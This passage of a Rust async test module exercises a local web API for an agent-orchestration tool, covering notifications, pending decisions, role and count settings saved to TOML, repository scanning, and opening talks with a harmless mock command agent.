14435        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14436        assert_eq!(res.status, 200, "{}", res.body);
14437        assert_eq!(res.json()["answer"]["text"], "--json");
14438    }
14439
14440    #[tokio::test]
14441    async fn an_unknown_question_is_a_json_404() {
14442        let fx = Fixture::start().await;
14443        let res = fx
14444            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14445            .await;
14446        assert_eq!(res.status, 404, "{}", res.body);
14447        assert!(res.json()["error"].is_string());
14448    }
14449
14450    #[tokio::test]
14451    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14452        let fx = Fixture::start().await;
14453        let questions = Questions::at(fx.home.path().join("questions"));
14454        let store = Notices::at(fx.home.path().join("notifications"));
14455        let mut q = ask::Question::new(
14456            "t1".into(),
14457            "conduct".into(),
14458            "conductor".into(),
14459            "Continue?".into(),
14460            String::new(),
14461            Vec::new(),
14462        );
14463        questions.put(&mut q).unwrap();
14464        let mut n = Notice::warn("task:t1", "Task t1 is held.");
14465        n.covered_by = Some(q.id.clone());
14466        let n = store.raise(n).unwrap();
14467        let listed = fx.get("/api/notifications").await.json();
14468        assert_eq!(listed["items"][0]["answerable_question"], q.id);
14469        questions
14470            .update(&q.id, |q| {
14471                q.abandon("run gone");
14472                Ok(())
14473            })
14474            .unwrap();
14475        let listed = fx.get("/api/notifications").await.json();
14476        assert!(listed["items"][0]["answerable_question"].is_null());
14477        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14478        assert!(
14479            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14480                .unwrap()
14481                .contains("answerable_question")
14482        );
14483    }
14484
14485    #[tokio::test]
14486    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14487        let fx = Fixture::start().await;
14488        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14489        let task = crate::queue::Task::new(
14490            "work".into(),
14491            "work".into(),
14492            fx.home.path().into(),
14493            crate::queue::Source::Human,
14494        );
14495        let inquiry = outbox
14496            .file(&task, None, "test".into(), "入力待ち", "詳細")
14497            .unwrap();
14498        let root = fx.home.path().join("notifications/task-inquiries");
14499        std::fs::write(root.join("broken.json"), "{").unwrap();
14500        let mut unsupported = inquiry.clone();
14501        unsupported.id = "unsupported".into();
14502        unsupported.schema = 99;
14503        std::fs::write(
14504            root.join("unsupported.json"),
14505            serde_json::to_vec(&unsupported).unwrap(),
14506        )
14507        .unwrap();
14508        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14509        for _ in 0..2 {
14510            let response = fx.get("/api/decisions").await;
14511            assert_eq!(response.status, 200, "{}", response.body);
14512            let listed = response.json();
14513            assert_eq!(listed["unreadable"], 2);
14514            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14515            assert_eq!(listed["items"][0]["id"], inquiry.id);
14516            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14517        }
14518        assert_eq!(
14519            before,
14520            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14521        );
14522        assert!(outbox.list().is_err());
14523        std::fs::remove_file(root.join("broken.json")).unwrap();
14524        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14525        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14526    }
14527
14528    #[tokio::test]
14529    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14530        let fx = Fixture::start().await;
14531        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14532        std::fs::create_dir_all(&root).unwrap();
14533        let journal = serde_json::json!({
14534            "schema": 1, "pending": ["saved-inquiry"],
14535            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14536        });
14537        let bytes = serde_json::to_vec(&journal).unwrap();
14538        std::fs::write(root.join("state.json"), &bytes).unwrap();
14539        for _ in 0..2 {
14540            let response = fx.get("/api/decisions").await;
14541            assert_eq!(response.status, 200);
14542            let listed = response.json();
14543            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14544            assert!(listed["items"].as_array().unwrap().is_empty());
14545            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14546        }
14547        // An unreadable journal must not make the endpoint hide the list.
14548        std::fs::write(root.join("state.json"), b"{").unwrap();
14549        let response = fx.get("/api/decisions").await;
14550        assert_eq!(response.status, 200);
14551        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14552    }
14553
14554    #[tokio::test]
14555    async fn notifications_list_read_dismiss_and_health_agree() {
14556        let fx = Fixture::start().await;
14557        let store = Notices::at(fx.home.path().join("notifications"));
14558        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14559        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14560
14561        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14562        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14563
14564        store
14565            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14566            .unwrap();
14567        let health = fx.get("/api/health").await.json();
14568        assert_eq!(health["notifications_unread"], 2);
14569        assert_ne!(
14570            health["notifications_rev"], rev0,
14571            "the badge must move live"
14572        );
14573
14574        let listed = fx.get("/api/notifications").await.json();
14575        assert_eq!(listed["unread"], 2);
14576        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14577        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14578
14579        let read = fx
14580            .post(&format!("/api/notifications/{}/read", a.id), None)
14581            .await;
14582        assert_eq!(read.status, 200, "{}", read.body);
14583        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14584
14585        let gone = fx
14586            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14587            .await;
14588        assert_eq!(gone.status, 200, "{}", gone.body);
14589        let listed = fx.get("/api/notifications").await.json();
14590        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14591        assert_eq!(listed["unread"], 0);
14592
14593        store.raise(Notice::info("x", "again")).unwrap();
14594        let all = fx.post("/api/notifications/read-all", None).await;
14595        assert_eq!(all.status, 200, "{}", all.body);
14596        assert_eq!(all.json()["marked"], 1);
14597        assert_eq!(
14598            fx.get("/api/health").await.json()["notifications_unread"],
14599            0
14600        );
14601
14602        let missing = fx.post("/api/notifications/nope/read", None).await;
14603        assert_eq!(missing.status, 404, "{}", missing.body);
14604        assert!(missing.json()["error"].is_string());
14605    }
14606
14607    /// New work reaches the queue through `magi task add`, a standing talk's
14608    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14609    /// so the compose form and that route are gone. The tests that covered
14610    /// that route's validation went with it, and nothing was left asserting
14611    /// it stays gone — so a re-added handler would silently let the phone
14612    /// file briefs no one validated.
14613    #[tokio::test]
14614    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14615        let f = Fixture::start().await;
14616
14617        let res = f
14618            .post(
14619                "/api/queue",
14620                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14621            )
14622            .await;
14623
14624        assert_eq!(
14625            res.status, 405,
14626            "POST /api/queue must not be a route: {}",
14627            res.body
14628        );
14629        assert!(
14630            f.queue().list().is_empty(),
14631            "a task filed by a route that does not exist must not reach the disk"
14632        );
14633        // The path itself is still served — the Queue view reads it — and the
14634        // per-task controls are untouched by the entry being removed.
14635        assert_eq!(f.get("/api/queue").await.status, 200);
14636    }
14637
14638    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14639    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14640        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14641            .expect("checkout dir");
14642    }
14643
14644    /// Two command agents, so a config needs no real CLI.
14645    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14646
14647    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14648        let tmp = TempDir::new().expect("tempdir");
14649        let repo = tmp.path().join("repo");
14650        std::fs::create_dir_all(&repo).expect("repo dir");
14651        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14652        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14653        if let Some(text) = machine_toml {
14654            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14655            std::fs::write(&machine, text).expect("machine toml");
14656        }
14657        (tmp, repo, machine)
14658    }
14659
14660    async fn settings_checkout(path: &FsPath, text: &str) {
14661        std::fs::create_dir_all(path).unwrap();
14662        std::fs::write(path.join("magi.toml"), text).unwrap();
14663        for args in [
14664            vec!["init", "-b", "main"],
14665            vec!["add", "magi.toml"],
14666            vec![
14667                "-c",
14668                "user.name=Test",
14669                "-c",
14670                "user.email=test@example.invalid",
14671                "commit",
14672                "-m",
14673                "fixture",
14674            ],
14675            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14676            vec![
14677                "symbolic-ref",
14678                "refs/remotes/origin/HEAD",
14679                "refs/remotes/origin/main",
14680            ],
14681        ] {
14682            crate::git::git(path, &args).await.unwrap();
14683        }
14684    }
14685
14686    #[tokio::test]
14687    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14688        let (tmp, repo, machine) =
14689            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14690        let root = tmp.path().join("roots");
14691        let selected = root.join("host/owner/selected");
14692        settings_checkout(
14693            &selected,
14694            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14695        )
14696        .await;
14697        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14698        let before = std::fs::read(&machine).unwrap();
14699        let ui = Arc::new(
14700            Ui::new(
14701                Queue::at(tmp.path().join("queue")),
14702                Questions::at(tmp.path().join("questions")),
14703                Talks::at(tmp.path().join("talks")),
14704                tmp.path().join("runs"),
14705                tmp.path().to_path_buf(),
14706                repo.clone(),
14707            )
14708            .with_machine_config(Some(machine.clone())),
14709        );
14710        let query = || {
14711            Query(SettingsQuery {
14712                repo: Some(selected.clone()),
14713            })
14714        };
14715        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14716        assert!(v.error.is_none(), "{:?}", v.error);
14717        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14718        assert_eq!(conductor.source, "repo");
14719        assert_eq!(
14720            conductor.machine_value,
14721            Some(toml::Value::String("a".into()))
14722        );
14723        assert!(!conductor.editable);
14724        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14725        assert_eq!(
14726            judges.count.as_ref().unwrap().machine_value,
14727            Some(toml::Value::Integer(1))
14728        );
14729        assert!(
14730            !v.roles
14731                .iter()
14732                .find(|r| r.key == "reviewers")
14733                .unwrap()
14734                .editable
14735        );
14736        let unknown = || {
14737            Query(SettingsQuery {
14738                repo: Some(tmp.path().to_path_buf()),
14739            })
14740        };
14741        assert_eq!(
14742            settings_get(State(ui.clone()), unknown())
14743                .await
14744                .unwrap_err()
14745                .status,
14746            StatusCode::UNPROCESSABLE_ENTITY
14747        );
14748        let body = || {
14749            Ok(Json(RolesBody {
14750                revision: v.revision.clone(),
14751                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14752                counts: Default::default(),
14753            }))
14754        };
14755        assert_eq!(
14756            settings_put_roles(State(ui.clone()), unknown(), body())
14757                .await
14758                .unwrap_err()
14759                .status,
14760            StatusCode::UNPROCESSABLE_ENTITY
14761        );
14762        assert_eq!(std::fs::read(&machine).unwrap(), before);
14763        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14764            .await
14765            .unwrap();
14766        assert_eq!(
14767            saved.repo,
14768            selected.canonicalize().unwrap().display().to_string()
14769        );
14770        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14771        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14772        // A cache miss refreshes the stable candidate list exactly for validation.
14773        let fresh = root.join("host/owner/fresh");
14774        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14775        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14776            .await
14777            .unwrap();
14778        assert_eq!(fresh_view.repositories.len(), 3);
14779    }
14780
14781    #[tokio::test]
14782    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14783        let (tmp, repo, machine) = settings_dirs(
14784            "[roles]\nreviewers = [\"a\"]\n",
14785            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14786        );
14787        let root = tmp.path().join("roots");
14788        let selected = root.join("host/owner/selected");
14789        settings_checkout(
14790            &selected,
14791            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14792        )
14793        .await;
14794        let broken = root.join("host/owner/broken");
14795        settings_checkout(&broken, "[roles\nbroken").await;
14796        let machine_text = format!(
14797            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14798            toml::Value::String(root.display().to_string())
14799        );
14800        std::fs::write(&machine, &machine_text).unwrap();
14801        let originals: Vec<_> = [&repo, &selected, &broken]
14802            .iter()
14803            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14804            .collect();
14805        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14806        let default = f.get("/api/settings").await.json();
14807        assert_eq!(
14808            default["repo"],
14809            repo.canonicalize().unwrap().display().to_string()
14810        );
14811        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14812        let query = format!("?repo={}", selected.display());
14813        let res = f.get(&format!("/api/settings{query}")).await;
14814        assert_eq!(res.status, 200, "{}", res.body);
14815        let v = res.json();
14816        assert!(v["error"].is_null(), "{v}");
14817        assert_eq!(v["repositories"], default["repositories"]);
14818        let role = |key: &str| {
14819            v["roles"]
14820                .as_array()
14821                .unwrap()
14822                .iter()
14823                .find(|r| r["key"] == key)
14824                .unwrap()
14825        };
14826        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14827        assert_eq!(role("advisors")["source"], "repo");
14828        assert_eq!(role("advisors")["editable"], false);
14829        assert!(role("advisors")["machine_value"].is_null());
14830        assert_eq!(role("judges")["count"]["value"], 2);
14831        assert_eq!(role("judges")["count"]["machine_value"], 1);
14832        assert_eq!(role("judges")["count"]["source"], "repo");
14833        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14834        assert!(
14835            source.contains("origin/main") && !source.contains("magi/config/"),
14836            "{source}"
14837        );
14838        assert_eq!(
14839            role("reviewers")["editable"],
14840            false,
14841            "default context outside roots must protect its declarations"
14842        );
14843        let body =
14844            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14845        let unknown = format!("?repo={}", tmp.path().display());
14846        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14847        assert_eq!(
14848            f.put(&format!("/api/settings/roles{unknown}"), &body)
14849                .await
14850                .status,
14851            422
14852        );
14853        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14854        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14855            .to_string();
14856        assert_eq!(
14857            f.put(&format!("/api/settings/roles{query}"), &refuse)
14858                .await
14859                .status,
14860            422
14861        );
14862        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14863        assert_eq!(saved.status, 200, "{}", saved.body);
14864        assert_eq!(saved.json()["repo"], v["repo"]);
14865        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14866        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14867        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14868            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14869        }
14870        let error = f
14871            .get(&format!("/api/settings?repo={}", broken.display()))
14872            .await;
14873        assert_eq!(error.status, 200);
14874        assert!(error.json()["error"]["message"].is_string());
14875        assert_eq!(error.json()["repositories"], default["repositories"]);
14876    }
14877
14878    #[tokio::test]
14879    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14880        let (_tmp, repo, machine) =
14881            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14882        let f = Fixture::with_repo_and_machine(repo, machine).await;
14883        let res = f.get("/api/settings").await;
14884        assert_eq!(res.status, 200, "{}", res.body);
14885        let v = res.json();
14886        assert!(v["error"].is_null(), "{v}");
14887        let role = |k: &str| {
14888            v["roles"]
14889                .as_array()
14890                .and_then(|r| r.iter().find(|x| x["key"] == k))
14891                .cloned()
14892                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14893        };
14894        assert_eq!(role("judges")["source"], "machine");
14895        assert_eq!(role("judges")["editable"], true);
14896        assert_eq!(role("implementers")["source"], "default");
14897        let adv = role("advisors");
14898        assert_eq!(adv["fallback"], "judges");
14899        assert!(
14900            adv["seats"]
14901                .as_array()
14902                .is_some_and(|s| s.iter().all(|x| x == "b")),
14903            "{adv}"
14904        );
14905        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14906        assert_eq!(v["agents"][0]["source"], "repo");
14907    }
14908
14909    #[tokio::test]
14910    async fn settings_get_reports_a_config_that_does_not_parse() {
14911        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14912        let f = Fixture::with_repo_and_machine(repo, machine).await;
14913        let res = f.get("/api/settings").await;
14914        assert_eq!(res.status, 200, "{}", res.body);
14915        let v = res.json();
14916        assert!(v["error"]["message"].is_string(), "{v}");
14917        assert!(
14918            v["error"]["path"]
14919                .as_str()
14920                .is_some_and(|p| p.ends_with("magi.toml")),
14921            "{v}"
14922        );
14923        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14924    }
14925
14926    #[tokio::test]
14927    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14928        let (_tmp, repo, machine) = settings_dirs(
14929            SETTINGS_AGENTS,
14930            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14931        );
14932        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14933        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14934        let rev = f.get("/api/settings").await.json()["revision"]
14935            .as_str()
14936            .expect("revision")
14937            .to_owned();
14938        let body = serde_json::json!({
14939            "revision": rev,
14940            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14941        })
14942        .to_string();
14943        let res = f.put("/api/settings/roles", &body).await;
14944        assert_eq!(res.status, 200, "{}", res.body);
14945        let text = std::fs::read_to_string(&machine).expect("machine");
14946        assert_eq!(
14947            text,
14948            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14949        );
14950        assert_eq!(
14951            std::fs::read(repo.join("magi.toml")).expect("read"),
14952            repo_before
14953        );
14954        let again = f.get("/api/settings").await.json();
14955        let judges = again["roles"]
14956            .as_array()
14957            .expect("roles")
14958            .iter()
14959            .find(|r| r["key"] == "judges")
14960            .expect("judges")
14961            .clone();
14962        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14963        // The old revision is now stale.
14964        let stale = f.put("/api/settings/roles", &body).await;
14965        assert_eq!(stale.status, 409, "{}", stale.body);
14966    }
14967
14968    #[tokio::test]
14969    async fn settings_counts_are_reported_and_saved() {
14970        let (_tmp, repo, machine) = settings_dirs(
14971            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14972            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14973        );
14974        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14975        let v = f.get("/api/settings").await.json();
14976        let count = |v: &serde_json::Value, k: &str| {
14977            v["roles"]
14978                .as_array()
14979                .and_then(|r| r.iter().find(|x| x["key"] == k))
14980                .map(|x| x["count"].clone())
14981                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14982        };
14983        let imp = count(&v, "implementers");
14984        assert_eq!(imp["value"], 2);
14985        assert_eq!(imp["source"], "machine");
14986        assert_eq!(imp["file_key"], "candidates");
14987        assert_eq!(imp["roster_len"], 2);
14988        assert_eq!(imp["backups"], 0);
14989        assert_eq!(count(&v, "judges")["source"], "default");
14990        assert_eq!(count(&v, "advisors")["min"], 0);
14991        assert_eq!(count(&v, "reviewers")["editable"], false);
14992        assert!(
14993            count(&v, "reviewers")["locked_reason"]
14994                .as_str()
14995                .is_some_and(|m| m.contains("graph.reviewers"))
14996        );
14997        assert!(count(&v, "fixer").is_null());
14998        let rev = v["revision"].as_str().expect("revision").to_owned();
14999        let body = serde_json::json!({
15000            "revision": rev,
15001            "roles": { "judges": ["b"] },
15002            "counts": { "implementers": 1, "advisors": 0 }
15003        })
15004        .to_string();
15005        let res = f.put("/api/settings/roles", &body).await;
15006        assert_eq!(res.status, 200, "{}", res.body);
15007        let text = std::fs::read_to_string(&machine).expect("machine");
15008        assert_eq!(
15009            text,
15010            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
15011        );
15012        let after = f.get("/api/settings").await.json();
15013        assert_eq!(count(&after, "implementers")["value"], 1);
15014        assert_eq!(count(&after, "implementers")["backups"], 1);
15015        assert_eq!(count(&after, "advisors")["value"], 0);
15016        let before = std::fs::read_to_string(&machine).expect("machine");
15017        let rev = after["revision"].as_str().expect("revision").to_owned();
15018        for counts in [
15019            serde_json::json!({ "judges": 0 }),
15020            serde_json::json!({ "judges": "x" }),
15021            serde_json::json!({ "judges": 2.5 }),
15022            serde_json::json!({ "judges": -1 }),
15023            serde_json::json!({ "reviewers": 3 }),
15024            serde_json::json!({ "bogus": 3 }),
15025        ] {
15026            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
15027            let res = f.put("/api/settings/roles", &body).await;
15028            assert_eq!(res.status, 422, "{counts}: {}", res.body);
15029            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
15030        }
15031    }
15032
15033    #[tokio::test]
15034    async fn settings_put_refuses_without_touching_the_file() {
15035        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
15036        let (_tmp, repo, machine) = settings_dirs(
15037            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
15038            Some(machine_text),
15039        );
15040        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
15041        let rev = f.get("/api/settings").await.json()["revision"]
15042            .as_str()
15043            .expect("revision")
15044            .to_owned();
15045        for roles in [
15046            serde_json::json!({ "judges": ["nope"] }),
15047            serde_json::json!({ "reviewers": ["b"] }),
15048            serde_json::json!({ "bogus": ["a"] }),
15049        ] {
15050            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
15051            let res = f.put("/api/settings/roles", &body).await;
15052            assert_eq!(res.status, 422, "{roles}: {}", res.body);
15053            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
15054            assert_eq!(
15055                std::fs::read_to_string(&machine).expect("machine"),
15056                machine_text
15057            );
15058        }
15059    }
15060
15061    #[tokio::test]
15062    async fn repos_list_returns_name_and_path_for_every_configured_root() {
15063        let tmp = TempDir::new().expect("tempdir");
15064        let repo = tmp.path().join("repo");
15065        std::fs::create_dir_all(&repo).expect("repo dir");
15066        let root = tmp.path().join("root");
15067        make_checkout(&root, "github.com", "yukimemi", "magi");
15068        std::fs::write(
15069            repo.join("magi.toml"),
15070            format!(
15071                "[repos]\nroots = [{:?}]\n",
15072                root.to_string_lossy().into_owned()
15073            ),
15074        )
15075        .expect("write magi.toml");
15076
15077        let f = Fixture::with_repo(repo).await;
15078        let res = f.get("/api/repos").await;
15079        assert_eq!(res.status, 200, "{}", res.body);
15080        let list = res.json();
15081        let repos = list.as_array().expect("an array");
15082        assert_eq!(repos.len(), 1);
15083        assert_eq!(repos[0]["name"], "yukimemi/magi");
15084        assert!(
15085            repos[0]["path"]
15086                .as_str()
15087                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
15088            "{list}"
15089        );
15090    }
15091
15092    #[tokio::test]
15093    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
15094        let tmp = TempDir::new().expect("tempdir");
15095        let repo = tmp.path().join("repo");
15096        std::fs::create_dir_all(&repo).expect("repo dir");
15097        let root = tmp.path().join("root");
15098        make_checkout(&root, "github.com", "yukimemi", "magi");
15099        std::fs::write(
15100            repo.join("magi.toml"),
15101            format!(
15102                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
15103                root.to_string_lossy().into_owned()
15104            ),
15105        )
15106        .expect("write magi.toml");
15107
15108        let f = Fixture::with_repo(repo).await;
15109        let first = f.get("/api/repos").await;
15110        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
15111
15112        // A second checkout appears; within the TTL the cached answer must
15113        // not notice it.
15114        make_checkout(&root, "github.com", "yukimemi", "rvpm");
15115        let second = f.get("/api/repos").await;
15116        assert_eq!(
15117            second.json().as_array().map(Vec::len),
15118            Some(1),
15119            "a fresh cache must not rescan inside the TTL"
15120        );
15121
15122        let refreshed = f.get("/api/repos?refresh=1").await;
15123        assert_eq!(
15124            refreshed.json().as_array().map(Vec::len),
15125            Some(2),
15126            "an explicit refresh must rescan even inside the TTL"
15127        );
15128    }
15129
15130    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
15131    /// string, declared straight in a repository's own `magi.toml` rather
15132    /// than the operator's real roster. No real agent CLI is spawned - `sh`
15133    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
15134    /// this is safe to run over a real HTTP round trip.
15135    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
15136
15137    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
15138    /// real `Config::discover` to find an agent - `talk::begin` resolves one
15139    /// even though it takes no turn, and `talk_say` invokes one.
15140    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
15141        let tmp = TempDir::new().expect("tempdir");
15142        let repo = tmp.path().join("repo");
15143        std::fs::create_dir_all(&repo).expect("repo dir");
15144        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15145        let f = Fixture::with_repo(repo.clone()).await;
15146        (tmp, repo, f)
15147    }
15148
15149    #[tokio::test]
15150    async fn posting_a_talk_with_remembered_choices_is_soft() {
15151        let (_tmp, _repo, f) = talk_fixture().await;
15152
15153        let good = f
15154            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
15155            .await;
15156        assert_eq!(good.status, 201, "{}", good.body);
15157        assert_eq!(good.json()["persona"], "rei");
15158
15159        // Wrong values and wrong types are dropped one by one, never a 4xx.
15160        let stale = f
15161            .post(
15162                "/api/talks",
15163                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
15164            )
15165            .await;
15166        assert_eq!(stale.status, 201, "{}", stale.body);
15167        let v = stale.json();
15168        assert_eq!(v["implementers"], 1);
15169        assert_ne!(v["persona"], "nobody");
15170        let typed = f
15171            .post(
15172                "/api/talks",
15173                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
15174            )
15175            .await;
15176        assert_eq!(typed.status, 201, "{}", typed.body);
15177
15178        // The strict `agent` field still refuses an unknown id.
15179        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
15180        assert!(
15181            !strict.status.to_string().starts_with('2'),
15182            "{}",
15183            strict.body
15184        );
15185    }
15186
15187    #[tokio::test]
15188    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
15189        let (_tmp, _repo, f) = talk_fixture().await;
15190
15191        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
15192        // is the ordinary way a phone opens a talk.
15193        let opened = f.post("/api/talks", None).await;
15194        assert_eq!(opened.status, 201, "{}", opened.body);
15195        let body = opened.json();
15196        assert_eq!(body["status"], "open");
15197        assert_eq!(
15198            body["turns"].as_array().unwrap().len(),
15199            0,
15200            "opening takes no agent turn: there is nothing yet to answer"
15201        );
15202
15203        // An explicit empty object is the same request as none at all.
15204        let also_opened = f.post("/api/talks", Some("{}")).await;
15205        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
15206
15207        let listed = f.get("/api/talks").await.json();
15208        assert_eq!(listed.as_array().unwrap().len(), 2);
15209    }
15210
15211    #[tokio::test]
15212    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
15213        let tmp = TempDir::new().expect("tempdir");
15214        let repo = tmp.path().join("repo");
15215        std::fs::create_dir_all(&repo).expect("repo dir");
15216        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
15217        std::fs::write(
15218            repo.join("magi.toml"),
15219            format!("{MOCK_AGENT_TOML}\n{second}"),
15220        )
15221        .expect("write magi.toml");
15222        let home = TempDir::new().expect("temp home");
15223        let talks = Talks::at(home.path().join("talks"));
15224        let ui = Arc::new(
15225            Ui::new(
15226                Queue::at(home.path().join("queue")),
15227                Questions::at(home.path().join("questions")),
15228                talks.clone(),
15229                home.path().join("runs"),
15230                home.path().to_path_buf(),
15231                repo.clone(),
15232            )
15233            .with_worktrees_root(home.path().join("wt")),
15234        );
15235        let cfg = config_for(&repo).await.expect("discover config");
15236        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15237        let id = talk.id.clone();
15238        let call = |agent: &str| {
15239            talk_agent(
15240                State(Arc::clone(&ui)),
15241                Path(id.clone()),
15242                Json(TalkAgent {
15243                    agent: agent.to_owned(),
15244                }),
15245            )
15246        };
15247
